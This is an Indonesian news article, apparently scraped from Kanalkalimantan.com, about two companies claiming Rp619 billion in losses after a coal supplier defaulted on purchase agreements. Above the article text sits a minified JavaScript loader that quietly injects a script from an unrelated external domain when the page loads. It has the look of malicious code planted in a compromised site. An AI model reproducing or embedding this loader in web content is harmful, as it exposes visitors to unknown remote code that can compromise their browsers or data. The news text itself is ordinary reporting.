(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Di tengah naiknya harga batu bara dunia saat ini, ada saja oknum yang memanfaatkannya untuk merugikan pihak lain.
Hal tersebut dialami oleh Eco Tropical Resource PTE dan PT Indo Tenaga Jaya (ECO-ITJ) yang mengalami kerugian mencapai Rp619 miliar akibat tertipu bisnis jual beli batu bara.
Hal tersebut bermula ketika kedua perusahaan tersebut melakukan kontrak kerja pembelian batubara dengan PT Prolindo Cipta Nusantara (PT PCN), dimana PCN merupakan perusahaan batu bara.
“Bahwa dalam perjanjian jual beli tersebut telah diatur adanya kewajiban PT PCN untuk membayar kepada ECO-ITJ selama periode 2019-2021 namun kewajiban tersebut tidak pernah direalisasikan oleh PT PCN meskipun telah diatur secara tegas dalam perjanjian tersebut,” kata pengacara ECO-ITJ Muhammad Idris, Rabu (9/3/2022) seperti dilansir Suara.com -jaringan Kanalkalimantan.com-.
Baca juga:Â PLN Optimalkan Limbah Batu Bara Bangun Infrastruktur di Kalsel
Akibat hal itu, pihak ECO-ITJ mengalami kerugian, karena menanggung beban biaya pembayaran awal sebagaimana yang telah ditentukan dalam perjanjian tersebut.
Kerugian tersebut disebabkan karena beberapa hal seperti pembayaran uang muka jual beli batu bara yang telah dibayarkan kepada PT PCN.
Selain itu, denda keterlambatan (demurrage) atas sewa kapal (tongkang) atas pemuatan batu bara ke kapal yang wajib dibayarkan oleh PT PCN, sehingga pihak ECO-ITJ yang membayar denda dan sewa kapal tersebut kepada pemilik kapal.
“ECO-ITJ telah membayar ganti rugi beserta denda kepada pihak pembeli (buyer) batu bara yang diakibatkan PT PCN gagal melakukan pengiriman batu bara sesuai dengan jadwal yang telah ditentukan,” papar Idris.
Selain itu kata dia pihaknya juga telah membayar ganti rugi ates sewa kapal akibat pembatalan pemuatan dan pengirim batu bara sesuai jadwal yang telah ditentukan oleh PCN.
Baca juga: Penulis Cerita Remaja “Lupus†Hilman Hariwijaya Meninggal Dunia
Sehingga jumlah seluruh kerugian yang diderita oleh piha ECO-IJT akibat tidak laksanakan kewajiban PT PCN sesuai dengan perjanjian jual beli sebesar Rp500 miliar untuk ECO dan Rp119 miliar oleh ITJ. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.